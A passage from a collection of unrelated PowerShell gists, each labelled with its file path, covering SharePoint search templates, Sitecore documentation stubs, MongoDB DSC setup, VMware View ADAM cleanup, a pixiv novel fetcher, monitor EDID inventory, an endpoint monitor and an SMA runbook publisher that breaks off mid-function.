$xmlFile.QueryPropertiesTemplate.QueryProperties.WebId=$topLevelSiteID.ToString()
$xmlFile.OuterXml | Out-File queryparametertemplate.xml
$tempFile=Get-Item -LiteralPath "queryparametertemplate.xml"
$folder = $list.RootFolder
$stream=$tempFile.OpenRead()
$file = $folder.Files.Add($folder.Url+"/queryparametertemplate.xml",$stream,$true, "created by script",$false)
$stream.Close()
if($null -ne $file)
{
Write-Host ("File Created At " + $rootWeb.Url + "/" + $file.Url)
}
Write-Host " "
}
<#
<QueryPropertiesTemplate xmlns="http://www.microsoft.com/sharepoint/search/KnownTypes/2008/08" xmlns:i="http://www.w3.org/2001/XMLSchema-instance">
<QueryProperties i:type="KeywordQueryProperties">
<EnableStemming>true</EnableStemming>
<FarmId>22222222-fa49-4987-b1ea-9fad99e81a0f</FarmId>
<SiteId>11111111-68f0-41c5-a525-7e7fda7666b3</SiteId>
<WebId>00000000-8d97-40a2-b07b-cf05e4c85084</WebId>
<IgnoreAllNoiseQuery>true</IgnoreAllNoiseQuery>
<KeywordInclusion>AllKeywords</KeywordInclusion>
<SummaryLength>180</SummaryLength>
<TrimDuplicates>true</TrimDuplicates>
<WcfTimeout>120000</WcfTimeout>
<Properties xmlns:a="http://schemas.microsoft.com/2003/10/Serialization/Arrays">
<a:KeyValueOfstringanyType>
<a:Key>_IsEntSearchLicensed</a:Key>
<a:Value i:type="b:boolean" xmlns:b="http://www.w3.org/2001/XMLSchema">true</a:Value>
</a:KeyValueOfstringanyType>
<a:KeyValueOfstringanyType>
<a:Key>EnableSorting</a:Key>
<a:Value i:type="b:boolean" xmlns:b="http://www.w3.org/2001/XMLSchema">true</a:Value>
</a:KeyValueOfstringanyType>
<a:KeyValueOfstringanyType>
<a:Key>MaxKeywordQueryTextLength</a:Key>
<a:Value i:type="b:int" xmlns:b="http://www.w3.org/2001/XMLSchema">4096</a:Value>
</a:KeyValueOfstringanyType>
<a:KeyValueOfstringanyType>
<a:Key>TryCache</a:Key>
<a:Value i:type="b:boolean" xmlns:b="http://www.w3.org/2001/XMLSchema">true</a:Value>
</a:KeyValueOfstringanyType>
</Properties>
<PropertiesContractVersion>15.0.0.0</PropertiesContractVersion>
<EnableFQL>false</EnableFQL>
<EnableSpellcheck>Suggest</EnableSpellcheck>
<EnableUrlSmashing>true</EnableUrlSmashing>
<IsCachable>false</IsCachable>
<MaxShallowRefinementHits>100</MaxShallowRefinementHits>
<MaxSummaryLength>185</MaxSummaryLength>
<MaxUrlLength>2048</MaxUrlLength>
<SimilarType>None</SimilarType>
<SortSimilar>true</SortSimilar>
<TrimDuplicatesIncludeId>0</TrimDuplicatesIncludeId>
<TrimDuplicatesKeepCount>1</TrimDuplicatesKeepCount>
</QueryProperties>
<WhiteList xmlns:a="http://schemas.microsoft.com/2003/10/Serialization/Arrays">
<a:string>RowLimit</a:string>
<a:string>SortList</a:string>
<a:string>StartRow</a:string>
<a:string>RefinementFilters</a:string>
<a:string>Culture</a:string>
<a:string>RankingModelId</a:string>
<a:string>TrimDuplicatesIncludeId</a:string>
<a:string>ReorderingRules</a:string>
<a:string>EnableQueryRules</a:string>
<a:string>HiddenConstraints</a:string>
<a:string>QueryText</a:string>
<a:string>QueryTemplate</a:string>
<a:string>SelectProperties</a:string>
<a:string>SourceID</a:string>
</WhiteList>
</QueryPropertiesTemplate>
#>
|
PowerShellCorpus/GithubGist/AdamNaj_c89f6c1445efe11ae13a_raw_d33b71e8101862b7b5c6d5d3e57ab7fd7ef2e687_CreateMissingDocFiles.ps1
|
AdamNaj_c89f6c1445efe11ae13a_raw_d33b71e8101862b7b5c6d5d3e57ab7fd7ef2e687_CreateMissingDocFiles.ps1
|
$DocumentationFolder = "C:\Projects\sitecorepowershell\Trunk\Documentation"
$documented = Get-ChildItem $DocumentationFolder | % { $_.BaseName }
$undocumented = get-command | ? { $_.DLL -match "Cognifide"} | ? { "$($_.Verb)-$($_.Noun)" -Notin $documented } | %{ "$($_.Verb)-$($_.Noun)" }
$undocumented | % {
$fileName = "$DocumentationFolder\$_.TODO.ps1"
if(Test-Path $fileName){
remove-item $filename
}
New-Item $fileName -Type File |
Set-Content -Value @"
<#
.SYNOPSIS
$_.
.DESCRIPTION
$_.
.PARAMETER Path
Path to the item that should be published - can work with Language parameter to narrow the publication scope.
.PARAMETER Id
Id of the item that should be published - can work with Language parameter to narrow the publication scope.
.INPUTS
Sitecore.Data.Items.Item
.OUTPUTS
Sitecore.Data.Items.Item
.NOTES
Help Author: Adam Najmanowicz, Michael West, Michael Reynolds
.LINK
https://github.com/SitecorePowerShell/Console/
.EXAMPLE
PS master:\> $_ -Path master:\content\home
#>
"@
}
|
PowerShellCorpus/GithubGist/randomvariable_6622746_raw_58afb8a5296eb13e5bb5ed29b6379084ed688d27_gistfile1.ps1
|
randomvariable_6622746_raw_58afb8a5296eb13e5bb5ed29b6379084ed688d27_gistfile1.ps1
|
Script MongoDBAdminConfiguration
{
SetScript =
{
import-module gac
Add-Type -AssemblyName (Get-GACAssembly "MongoDB.Bson")
Add-Type -AssemblyName (Get-GACAssembly "MongoDB.Driver")
$client = new-object MongoDB.Driver.MongoClient("mongodb://localhost")
$server = $client.GetServer()
$adminDB = $server.GetDatabase("admin")
$username = "admin"
$password = new-object MongoDB.Driver.PasswordEvidence("blahblah")
$users = $adminDB.GetCollection("system.users")
$document = $users.FindOne([MongoDB.Driver.Builders.Query]::EQ("user", $username))
if ($document -eq $null)
{
$document = new-object MongoDB.Bson.BsonDocument("user", $username)
}
$document["pwd"] = [MongoDB.Driver.MongoUser]::HashPassword($username,$password)
$roles = new-object MongoDB.Bson.BsonArray
$roles.Add("userAdminAnyDatabase")
$document["roles"] = $roles
@("userAdminAnyDatabase")
$users.Save($document);
}
TestScript =
{
import-module gac
Add-Type -AssemblyName (Get-GACAssembly "MongoDB.Bson")
Add-Type -AssemblyName (Get-GACAssembly "MongoDB.Driver")
$client = new-object MongoDB.Driver.MongoClient("mongodb://localhost")
$server = $client.GetServer()
$adminDB = $server.GetDatabase("admin")
$users = $adminDB.GetCollection("system.users")
$returnvalue = $false
try
{
$document = $users.FindOne([MongoDB.Driver.Builders.Query]::EQ("user", "user"))
}
catch
{
$returnvalue = $true
}
return $returnvalue
}
GetScript =
{
@{"MongoDB"="Configured"}
}
Requires = @("[Package]MongoDBDriver","[Archive]PowerShellGAC","[Service]MongoDB")
}
|
PowerShellCorpus/GithubGist/GuruAnt_7678224_raw_3eda4ad1b677f0284a84b84a1c0c832d8845aafe_Remove-StuckVDIMachineFromAdamDatabase.ps1
|
GuruAnt_7678224_raw_3eda4ad1b677f0284a84b84a1c0c832d8845aafe_Remove-StuckVDIMachineFromAdamDatabase.ps1
|
#Requires -PSSnapin Quest.ActiveRoles.ADManagement
Function Remove-StuckVDIMachineFromAdamDatabase {
<#
.Synopsis
Removes an object from View's ADAM database
.Description
Finds a computer object in View's ADAM database which represents a machine.
Probably one stuck in a Deleting "(Missing)" state. Deletes it (with confirmation)
.Parameter Computer
The name of the computer to search for.
.Parameter ConnectionServer
The connection server. Is set by default to "yourconnectionserver".
.Example
Removes a desktop called "Desktop01"
Remove-StuckVDIMachineFromAdamDatabase -Computer "Desktop01"
.Example
Removes each of an array of computernames passed as an argument
Remove-StuckVDIMachineFromAdamDatabase $arrRogueEntries
.Example
Uses the pipeline to remove each of an array of stuck machines
$arrPipeline | Remove-StuckVDIMachineFromAdamDatabase
.Notes
Ben Neise 26/02/2014
#>
Param (
[Parameter(
Mandatory = $true,
Position = 0,
ValueFromPipeline = $true,
ValueFromPipelineByPropertyName = $true
)]
[Array]
$Computer,
[Parameter(
Mandatory = $false,
Position = 1
)]
[String]
$ConnectionServer = "MyConnectionServer"
)
Begin {
Try {
Connect-QADService -Service $ConnectionServer -ErrorAction "Stop" | Out-Null
}
Catch {
Write-Error "Can't connect to QADService on $ConnectionServer"
}
$objAdamDB = Get-QADObject -IncludeAllProperties -SizeLimit 0 -SearchRoot "OU=Servers,DC=vdi,DC=vmware,DC=int"
}
Process {
ForEach ($comp in $Computer){
$objAdamDB | Where-Object {$_."pae-DisplayName" -eq $comp} | ForEach-Object {
Write-Output ("Found ADAM record: " + $_."pae-DisplayName")
$_ | Remove-QADObject
}
}
}
End {
Disconnect-QADService -Service $ConnectionServer
}
}
|
PowerShellCorpus/GithubGist/Sakuramochi_5221086_raw_7d63b140224c1f3ea729867aabe70b4b7e80186e_pixiv_novel_access.ps1
|
Sakuramochi_5221086_raw_7d63b140224c1f3ea729867aabe70b4b7e80186e_pixiv_novel_access.ps1
|
# pixivへお遣いにいってnovel情報を取ってくるスクリプト
# 言語
# Windows Powershell
# 書式
# pixiv_access_pattern [-novel_id] ノベル番号 [[-u_id] ユーザーID] [[-u_pass] ユーザーパスワード]
# オプション
# novel_id 小説のID
# u_id ユーザID
# u_pass パスワード
param( $novel_id =-1, $u_id = "ユーザーID", $u_pass="ユーザーパスワード" )
# ログイン部分はコメントアウト中 ログイン必須時のパラメータは下記
#param( $novel_id = -1, $u_id = "", $u_pass = "" )
# デバッグ出力設定
#$DebugPreference = "Continue"
$DebugPreference = "SilentlyContinue"
# ======================================================= #
# 引数チェック
if( $novel_id -eq -1 )
{
# 入力NG
Write-Host "Input novel no."
exit
}
if( $u_id -eq "" )
{
Write-Host "Input user id."
exit
}
if( $u_pass -eq "" )
{
Write-Host "Input password"
exit
}
<#
# アドレス定義
#>
# コンテンツのURI
$pixiv_url_api_base = "http://spapi.pixiv.net/iphone/"
$pixiv_url_pc_base = "http://spapi.pixiv.net/iphone/novel_text.php?id="
$pixiv_url_mobile_base = "http://touch.pixiv.net/"
# ログインURL
$login_url = $pixiv_url_api_base + `
"login.php?mode=login&pixiv_id=" + $u_id +"&pass=" + $u_pass + "&skip=0"
# API用URL
# 小説本文(セッションIDなしでOK)
$novel_text_url = $pixiv_url_api_base + "novel_text.php?id=" + $novel_id
# 小説概要
$novel_url = $pixiv_url_api_base + "novel.php?id=" + $novel_id
# ======================================================= #
# 関数定義
# ======================================================= #
#
# ログイン&セッションID取得
#
function login_get_sessionid( )
{
$webReq = [Net.HttpWebRequest]::Create( $login_url )
$webReq.Method = "GET"
# ユーザーエージェントはIE10を設定
$webReq.UserAgent = "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0)"
$webRes = $webReq.GetResponse()
Write-Debug "====webres.ResponseUri"
Write-Debug $webres.ResponseUri
Write-Debug "====転送先URI webres.ResponseUri.AbsoluteUri"
Write-Debug $webres.ResponseUri.AbsoluteUri
Write-Debug "====Query"
Write-Debug $webres.ResponseUri.Query
# 転送先URI(Query)にのってくるセッションIDの取得
# ?PHPSESSID=セッションID
$session_id = $webres.ResponseUri.Query
$webRes.Close()
$session_id = $session_id -replace "[`?`&](PHPSESSID=.*?)([`?`&]|$)", "`$1"
$session_id
}
#
# CSV形式(カンマ区切り)の1行を分割して配列に格納する
# ConvertFrom-CSVの使い方はわからんので自前
#
function csv_split_line( $str )
{
$split_data = @()
# 1行分割
while ( $str.length -gt 0 )
{
# "データ",,"データ","データ"を分割
if( $str -match "(?:`"((?:[^`"]|`"`")*)`"|([^,`"]*))(?:$|,)" )
{
$tmp_data = $matches[1]
$str_pos = $matches[0].length
$split_data += $tmp_data -replace ",$", ""
if( $str.length -gt $str_pos )
{
$str = $str.substring( $str_pos )
}else
{
$str = ""
}
}else
{
# フォーマット異常?
Write-Host "CSV形式異常 $str"
break
}
}
$split_data
}
# ======================================================= #
$novel_data_list = @{}
# ログイン&セッションID取得
# セッションIDはPHPSESSID=付き
# 小説概要と小説本文にはセッションIDは不要のためコメントアウト
#$session_id = login_get_sessionid
# データ取得(タイトル、作者)
$client = New-Object System.Net.WebClient
$enc = [Text.Encoding]::GetEncoding("utf-8")
# 小説概要:APIから
$novel_header = ("小説id","ユーザーid","表紙の拡張子(jpgなど)","タイトル","要素4","ユーザー名", `
"表紙のアドレス(サムネイル用)","要素7","要素8","表紙のアドレス(フルサイズ用)","要素10", `
"要素11","投稿日時 YYYY-MM-DD hh:mm:ss","タグ(スペース区切り)","要素14","数値15", `
"数値16","数値17","キャプション","数値19","数値20", `
"数値21","数値22","数値23","p_sabi","要素25", `
"0","シリーズid","要素28","プロフィール画像", "要素30")
$novel_data = $enc.GetString( $client.DownloadData( $novel_url ) )
# カンマ区切りで分割
$cnt = 0
csv_split_line $novel_data | % {
$novel_data_list[$novel_header[$cnt]] = $_
$cnt++
}
# 項目呼出し例
Write-Host "====小説概要 novel_data"
Write-Host "タイトル`t" $novel_data_list["タイトル"]
Write-Host "作者名`t" $novel_data_list["ユーザー名"]
Write-Host "作者ID`t" $novel_data_list["ユーザーid"]
# データ取得(本文)
# 小説本文取得:APIから
$novel_text_header = @()
$novel_text_data = $enc.GetString( $client.DownloadData( $novel_text_url ) )
Write-Host "====小説本文 novel_text_data"
$novel_text_data
|
PowerShellCorpus/GithubGist/ararog_7316613_raw_dbd247ec90fcd4353d28f9196f0f5bc72acf2826_monitor.ps1
|
ararog_7316613_raw_dbd247ec90fcd4353d28f9196f0f5bc72acf2826_monitor.ps1
|
[CmdletBinding(DefaultParameterSetName="ComputerName")]
param (
[Parameter(Mandatory = $FALSE, ParameterSetName="ComputerName", HelpMessage="Name of computer to check")]
[String]
$ComputerName
)
Function InArray($element, $array, $position) {
If($array.Count -eq 0) {
return $False
}
foreach($item in $array) {
If($item.Count -gt 0) {
If($item[$position] -eq $element) {
return $True
}
}
}
return $False
}
Function EchoAndLog ($message) {
#Echo output and write to log
write-output $message
$message >> $logFile
}
Function Show-Msgbox {
Param([string]$message=$(Throw "You must specify a message"),
[string]$button="okonly",
[string]$icon="information",
[string]$title="Message Box"
)
#Buttons: OkOnly, OkCancel, AbortRetryIgnore, YesNoCancel, YesNo, RetryCancel
#Icons: Critical, Question, Exclamation, Information
[Reflection.Assembly]::LoadWithPartialName("Microsoft.Visualbasic") | Out-Null
[Microsoft.Visualbasic.Interaction]::Msgbox($message, "$button, $icon", $title)
}
$batch = $false
If(! $ComputerName) {
[Reflection.Assembly]::LoadWithPartialName('Microsoft.VisualBasic') | Out-Null
$ComputerName = [Microsoft.VisualBasic.Interaction]::InputBox("Check Monitor info for what PC", "PC Name?", "$env:computername")
}
else {
$batch = $true
}
If(! $ComputerName) {
exit
}
$ComputerName = $ComputerName.ToUpper()
$MonitorCount = 0
$StringArrayRawEDIDs = @()
$logFile = "$env:userprofile\Desktop\MonitorInfo.csv"
$message = ""
If($batch) {
$header = $false
$file_exists = test-path $logFile
If(! $file_exists) {
$header = $true
}
if($header) {
"Computer,Model,Serial #,Vendor ID,Manufacture Date,Messages" > $logFile
}
}
$reg = [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey("LocalMachine", "$ComputerName")
$displayKey = $reg.OpenSubKey("SYSTEM\\CurrentControlSet\\Enum\\DISPLAY\\")
foreach ($displayKeyValue in $displayKey.GetSubKeyNames()) {
$monitorIdKey = $displayKey.OpenSubKey("$displayKeyValue")
foreach ($pnpIdKeyValue in $monitorIdKey.GetSubKeyNames()) {
$pnpIdKey = $monitorIdKey.OpenSubKey("$pnpIdKeyValue")
foreach($hardwareIdKeyValue in $pnpIdKey.GetValue("HardwareID")) {
If($hardwareIdKeyValue.ToLower().IndexOf("monitor\") -gt -1) {
foreach ($pnpDetailsKeyValue in $pnpIdKey.GetSubKeyNames()) {
$strRawEDID = ""
If($pnpDetailsKeyValue -eq "Control") {
$deviceParametersKey = $pnpIdKey.OpenSubKey("Device Parameters")
$edid = $deviceParametersKey.GetValue("EDID")
if(! $edid) {
$strRawEDID = "EDID Not Available"
}
else {
foreach($byteValue in $edid) {
$strRawEDID = $strRawEDID + [char]$byteValue
}
}
$StringArrayRawEDIDs += $strRawEDID
$MonitorCount += 1
}
}
}
}
}
}
$ArrayMonitorInfo = @()
$Location = @("", "", "", "")
$intSerFoundAt, $intMdlFoundAt, $findit = 0
$tmp, $tmpser, $tmpmdl, $tmpctr = ""
foreach($string in $StringArrayRawEDIDs) {
if($string -ne "EDID Not Available") {
$Location[0] = $string.Substring(0x36, 19)
$Location[1] = $string.Substring(0x48, 19)
$Location[2] = $string.Substring(0x5a, 19)
$Location[3] = $string.Substring(0x6c, 19)
#you can tell If the location contains a serial number If it starts with &H00 00 00 ff
$strSerFind = ([char](0x00)) + ([char](0x00)) + ([char](0x00)) + ([char](0xff))
#or a model description If it starts with &H00 00 00 fc
$strMdlFind = ([char](0x00)) + ([char](0x00)) + ([char](0x00)) + ([char](0xfc))
$intSerFoundAt = -1
$intMdlFoundAt = -1
for($findit = 0; $findit -le 3; $findit++) {
If($Location[$findit].IndexOf($strSerFind) -gt -1) {
$intSerFoundAt = $findit
}
If($Location[$findit].IndexOf($strMdlFind) -gt -1) {
$intMdlFoundAt = $findit
}
}
#If a location containing a serial number block was found then store it
If($intSerFoundAt -ne -1) {
$tmp = $Location[$intSerFoundAt]
$tmp = $tmp.substring($tmp.length - 14, 14)
If($tmp.IndexOf([char](0x0a)) -gt -1) {
$tmpser = $tmp.substring(0, $tmp.IndexOf([char](0x0a))).Trim()
}
else {
$tmpser = $tmp.Trim()
}
#although it is not part of the edid spec it seems as though the
#serial number will frequently be preceeded by &H00, this
#compensates for that
If($tmpser.substring(0, 1) -eq [char](0)) {
$tmpser = $tmpser.substring($tmpser.length - 1, 1)
}
}
else {
$tmpser = "Not Found"
}
#If a location containing a model number block was found then store it
If($intMdlFoundAt -ne -1) {
$tmp = $Location[$intMdlFoundAt]
$tmp = $tmp.substring($tmp.length - 14, 14)
If($tmp.IndexOf([char](0x0a)) -gt -1) {
$tmpmdl = $tmp.substring(0, $tmp.IndexOf([char](0x0a))).Trim()
}
else {
$tmpmdl = $tmp.Trim()
}
#although it is not part of the edid spec it seems as though the
#serial number will frequently be preceeded by &H00, this
#compensates for that
If($tmpmdl.substring(0, 1) -eq [char](0)) {
$tmpmdl = $tmpmdl.substring($tmpmdl.length - 1, 1)
}
}
else {
$tmpmdl = "Not Found"
}
#**************************************************************
#Next get the mfg date
#**************************************************************
$tmpmfgweek, $tmpmfgyear, $tmpmdt = ""
#the week of manufacture is stored at EDID offset &H10
$tmpmfgweek = [byte][char]($string.substring(0x10, 1))
#the year of manufacture is stored at EDID offset &H11
#and is the current year -1990
$tmpmfgyear = ([byte][char]($string.substring(0x11, 1))) + 1990
#store it in month/year format
$calendar = [System.Globalization.CultureInfo]::InvariantCulture.Calendar
$date = $calendar.AddWeeks([datetime]("1/1/" + $tmpmfgyear), $tmpmfgweek)
$tmpmdt = $date.ToString("MM") + "/" + $tmpmfgyear
#**************************************************************
#Next get the edid version
#**************************************************************
#the version is at EDID offset &H12
$tmpEDIDMajorVer, $tmpEDIDRev, $tmpVer = ""
$tmpEDIDMajorVer = [byte][char]($string.substring(0x12, 1))
#the revision level is at EDID offset &H13
$tmpEDIDRev = [byte][char]($string.substring(0x13, 1))
#store it in month/year format
$tmpver = [char](48 + $tmpEDIDMajorVer) + "." + [char](48 + $tmpEDIDRev)
#**************************************************************
#Next get the mfg id
#**************************************************************
#the mfg id is 2 bytes starting at EDID offset &H08
#the id is three characters long. using 5 bits to represent
#each character. the bits are used so that 1=A 2=B etc..
#
#get the data
$tmpEDIDMfg, $tmpMfg
$Char1, $Char2, $Char3
$Byte1, $Byte2
$tmpEDIDMfg = $string.substring(0x08, 2)
$Char1, $Char2, $Char3 = 0
$Byte1 = [byte][char]($tmpEDIDMfg.substring(0, 1)) #get the first half of the string
$Byte2 = [byte][char]($tmpEDIDMfg.substring($tmpEDIDMfg.length - 1, 1)) #get the first half of the string
#now shift the bits
#shift the 64 bit to the 16 bit
If (($Byte1 -band 64) -gt 0) {
$Char1 = $Char1 + 16
}
#shift the 32 bit to the 8 bit
If (($Byte1 -band 32) -gt 0) {
$Char1 = $Char1 + 8
}
#etc....
If (($Byte1 -band 16) -gt 0) {
$Char1 = $Char1 + 4
}
If (($Byte1 -band 8) -gt 0) {
$Char1 = $Char1 + 2
}
If (($Byte1 -band 4) -gt 0) {
$Char1 = $Char1 + 1
}
#the 2nd character uses the 2 bit and the 1 bit of the 1st byte
If (($Byte1 -band 2) -gt 0) {
$Char2 = $Char2 + 16
}
If (($Byte1 -band 1) -gt 0) {
$Char2 = $Char2 + 8
}
#and the 128,64 and 32 bits of the 2nd byte
If (($Byte2 -band 128) -gt 0) {
$Char2 = $Char2 + 4
}
If (($Byte2 -band 64) -gt 0) {
$Char2 = $Char2 + 2
}
If (($Byte2 -band 32) -gt 0) {
$Char2 = $Char2 + 1
}
#the bits for the 3rd character don't need shifting
#we can use them as they are
$Char3 = $Char3 + ($Byte2 -band 16)
$Char3 = $Char3 + ($Byte2 -band 8)
$Char3 = $Char3 + ($Byte2 -band 4)
$Char3 = $Char3 + ($Byte2 -band 2)
$Char3 = $Char3 + ($Byte2 -band 1)
$tmpmfg = [char]($Char1 + 64) + [char]($Char2 + 64) + [char]($Char3 + 64)
#**************************************************************
#Next get the device id
#**************************************************************
#the device id is 2bytes starting at EDID offset &H0a
#the bytes are in reverse order.
#this code is not text. it is just a 2 byte code assigned
#by the manufacturer. they should be unique to a model
$tmpEDIDDev1, $tmpEDIDDev2, $tmpDev
$tmpEDIDDev1 = "{0:X}" -f ([byte][char]($string.substring(0x0a, 1)))
$tmpEDIDDev2 = "{0:X}" -f ([byte][char]($string.substring(0x0b, 1)))
If($tmpEDIDDev1.length -eq 1) {
$tmpEDIDDev1 = "0" + $tmpEDIDDev1
}
If($tmpEDIDDev2.length -eq 1){
$tmpEDIDDev2 = "0" + $tmpEDIDDev2
}
$tmpdev = $tmpEDIDDev2 + $tmpEDIDDev1
#**************************************************************
#finally store all the values into the array
#**************************************************************
#Kaplan adds code to avoid duplication...
$test = InArray($tmpser, $arrayMonitorInfo, 3)
If(! $test) {
$monitorInfo = @($tmpmfg, $tmpdev, $tmpmdt, $tmpser, $tmpmdl, $tmpVer)
$arrayMonitorInfo += (,$monitorInfo)
}
}
}
#For now just a simple screen print will suffice for output.
#But you could take this output and write it to a database or a file
#and in that way use it for asset management.
$i = 0
foreach($info in $arrayMonitorInfo) {
If ($info[1] -ne "" -and $info[0] -ne "PNP") {
If ($batch) {
EchoAndLog($ComputerName + "," + $info[4] + "," + $info[3] + "," + $info[0] + "," + $info[2])
}
Else {
$message = $message + "Monitor " + [char]($i+65) + ")`nModel Name: " + $info[4] + "`nSerial Number: " + $info[3] + "`nVESA Manufacturer ID: " + $info[0] + "`nManufacture Date: " + $info[2] + "`n`n"
$i += 1
}
}
}
If(! $batch) {
show-msgbox -message $message -icon "information" -button "OKOnly" -title $ComputerName + " Monitor Info"
}
|
PowerShellCorpus/GithubGist/guitarrapc_daaf304d5aa8e2773aa0_raw_b15a9bcc0f676275a0ec6d4855964022572cfa69_MeasurePSCustomObject.ps1
|
guitarrapc_daaf304d5aa8e2773aa0_raw_b15a9bcc0f676275a0ec6d4855964022572cfa69_MeasurePSCustomObject.ps1
|
(1..10 `
| %{
[PSCustomObject]@{
hoge = $_
}
} | measure).Count # returns 10
|
PowerShellCorpus/GithubGist/stefanprodan_10017196_raw_37e9306e260138dcfbceab14b1ea86d30c26089f_MonitorEndpoints.ps1
|
stefanprodan_10017196_raw_37e9306e260138dcfbceab14b1ea86d30c26089f_MonitorEndpoints.ps1
|
#############################################
##
## Monitor ASP.NET WebAPI Enpoints
## Author: Stefan Prodan
## Date : 7 Apr 2014
## Company: VeriTech.io
#############################################
#Base url
$urlPrefix = "http://localhost/MyApp.Server/";
#Endpoints
$endpoints = @(
"api/status/ping",
"api/alerts/check",
"api/jobs/run"
);
$headers = @{"Client-Token"="my-app-client-secret-token"};
function Log([string] $url, $exception){
#Create EventLog source if it doesn't exist
$eventSource = "MyApp Job";
if (![System.Diagnostics.EventLog]::SourceExists($eventSource)){
New-Eventlog -LogName "Application" -Source $eventSource;
}
#Write warning to EventLog
$message = "Call failed URL: " + $url + " Details: " + $exception;
Write-EventLog -LogName "Application"`
-Source $eventSource -EventId 1 -EntryType Warning -Message $message;
}
#Call each endpoint
foreach ($endpoint in $endpoints) {
Write-Output -InputObject $endpoint;
try {
$response = Invoke-RestMethod -Uri ($urlPrefix + $endpoint)`
-method GET -ContentType "application/json" -Headers $headers;
Write-Output -InputObject $response;
}
catch {
Write-Output -InputObject $_.Exception.Response.StatusCode.Value__;
Log -url ($urlPrefix + $endpoint) -exception $_.Exception.Message;
}
}
|
PowerShellCorpus/GithubGist/trondhindenes_d6133106c30cb7d5b922_raw_6fd0ccf93c1be420114fc8a9668af0df8b5c6e41_publish-SmaV2.1.ps1
|
trondhindenes_d6133106c30cb7d5b922_raw_6fd0ccf93c1be420114fc8a9668af0df8b5c6e41_publish-SmaV2.1.ps1
|
Function Process-RunbookFolder
{
Param (
$Path,
[switch]$recurse,
$WebServiceEndpoint,
$Credential
)
$allwfs = get-childitem -Path $Path -Recurse:$recurse
$Global:referencelist = New-Object System.Collections.ArrayList
[System.Collections.ArrayList]$Global:ToProcessList = $allwfs | select Fullname
$Global:DoneProcessList = New-Object System.Collections.ArrayList
foreach ($wf in $ToProcessList)
{
#Validate-RunbookFile -path $wf.FullName -erroraction Stop
Get-RunbookReference -path $wf.Fullname
}
foreach ($wf in $ToProcessList)
{
#Validate-RunbookFile -path $wf.FullName -erroraction Stop
Process-RunbookFile -path $wf.FUllname -basepath $Path -recurse:$recurse -WebServiceEndpoint $WebServiceEndpoint -Credential $credential
}
#get-variable processlist -Scope global | Remove-Variable
}
Function Get-RunbookReference
{
Param ($path)
$ThisWf = get-content $path -Raw
$ThisWfSB = [scriptblock]::Create($ThisWf)
#$ThisWfAST = $ThisWfSB.Ast
$TokenizedWF = [System.Management.Automation.PSParser]::Tokenize($ThisWfSB,[ref]$null)
$referencedCommands = $TokenizedWF | where {$_.Type -eq "Command"} | select -ExpandProperty "Content"
$myobj = "" |Select Fullname, ReferencedRunbooks
$myobj.Fullname =$path
$myobj.ReferencedRunbooks = $referencedCommands
$Global:referencelist += $myobj; $myobj = $null
}
Function Process-RunbookFile
{
Param (
$path,
$basepath,
[switch]$recurse,
$WebServiceEndpoint,
$Credential
)
$path = get-item $path
if ($DoneProcessList -contains ($path.FullName))
{
Write-Verbose "SKIPPING: Already processed runbook $($path.BaseName)"
return
}
Write-Verbose "PARSING: Runbook $($path.BaseName)"
#Parse to find wfs this one depends on, and process
$ThisWf = get-content $path -Raw
$ThisWfSB = [scriptblock]::Create($ThisWf)
#$ThisWfAST = $ThisWfSB.Ast
$TokenizedWF = [System.Management.Automation.PSParser]::Tokenize($ThisWfSB,[ref]$null)
$referencedCommands = $TokenizedWF | where {$_.TYpe -eq "Command"}
foreach ($referencedCommand in $referencedCommands)
{
$runbookpath = get-childitem -Path $basepath -Recurse:$recurse |where {$_.BaseName -eq $referencedCommand.Content}
if ($runbookpath)
{
Write-Verbose "REFERENCE: $($path.BaseName)--> $($referencedCommand.content)"
Process-RunbookFile -path $runbookpath.FullName -WebServiceEndpoint $WebServiceEndpoint -Credential $Credential
}
}
#WHen all referenced runbooks are imported, import this one
#Write-Verbose "PUBLISH: Publishing runbook $($path.BaseName)"
#Check if runbook matches target
$IsUpdated = Compare-Runbook $path -WebServiceEndpoint $WebServiceEndpoint -Credential $credential
if (!($IsUpdated))
{
Write-Verbose "Runbook $($path.BaseName) is updated and will be republished"
Write-Verbose "It is referenced by these runbooks:"
$Global:referencelist | where {$_.ReferencedRunbooks -match ($path.BaseName)} | Select -ExpandProperty Fullname | foreach {
$refrb = $_
write-verbose $refrb
$global:ToProcessList | where {$_.Fullname -eq $refrb} | Add-Member -MemberType NoteProperty -Name Force -Value $true -Force
}
}
$thisRbProcLIst = $global:ToProcessList | where {$_.Fullname -eq $path.FullName}
if ($thisRbProcLIst.Force -eq $true)
{
$forceUpdateRb = $true
}
if ($forceUpdateRb)
{
Write-Verbose "Runbook $path will be forcibly updated because it references an updated runbook"
}
if (($forceUpdateRb) -or (!($IsUpdated)))
{
#This function is only called for runbooks which need updating, or runbooks which reference runbooks which need updating
Write-Verbose "PUBLISH: $($path.FullName)"
Publish-Runbook $path -WebServiceEndpoint $webserviceendpoint -Credential $credential
}
$Global:DoneProcessList += $path.FullName
}
Function Compare-Runbook
{
Param (
[System.IO.FileSystemInfo]$path,
$WebServiceEndpoint,
$Credential
)
$FileContent = get-content -Path ($path.FullName) -Raw
$SmaRb = Get-SmaRunbook -WebServiceEndpoint $WebServiceEndpoint -Credential $Credential -Name ($path.BaseName) -ErrorAction 0
if (!($SmaRb))
{
return $false
}
$SMaRbContent = Get-SmaRunbookDefinition -Id $SmaRb.RunbookId -WebServiceEndpoint $WebServiceEndpoint -Credential $Credential -Type Published
if ($FileContent -ne $SMaRbContent.Content)
{
return $false
}
return $true
}
Function Compare-Runbook
{
Param (
[System.IO.FileSystemInfo]$path,
$WebServiceEndpoint,
$Credential
)
$FileContent = get-content -Path ($path.FullName) -Raw
$SmaRb = Get-SmaRunbook -WebServiceEndpoint $WebServiceEndpoint -Credential $Credential -Name ($path.BaseName) -ErrorAction 0
if (!($SmaRb))
{
return $false
}
$SMaRbContent = Get-SmaRunbookDefinition -Id $SmaRb.RunbookId -WebServiceEndpoint $WebServiceEndpoint -Credential $Credential -Type Published
if ($FileContent -ne $SMaRbContent.Content)
{
return $false
}
return $true
}
Function Publish-Runbook
{
Param (
[System.IO.FileSystemInfo]$path,
$WebServiceEndpoint,
$Credential
)
$SmaRb = Get-SmaRunbook -WebServiceEndpoint $WebServiceEndpoint -Credential $Credential -Name ($path.BaseName) -ErrorAction 0
if (!($SmaRb))
{
$smarb = Import-SmaRunbook -Path $path.FullName -WebServiceEndpoint $WebServiceEndpoint -Credential $Credential
}
Else
{
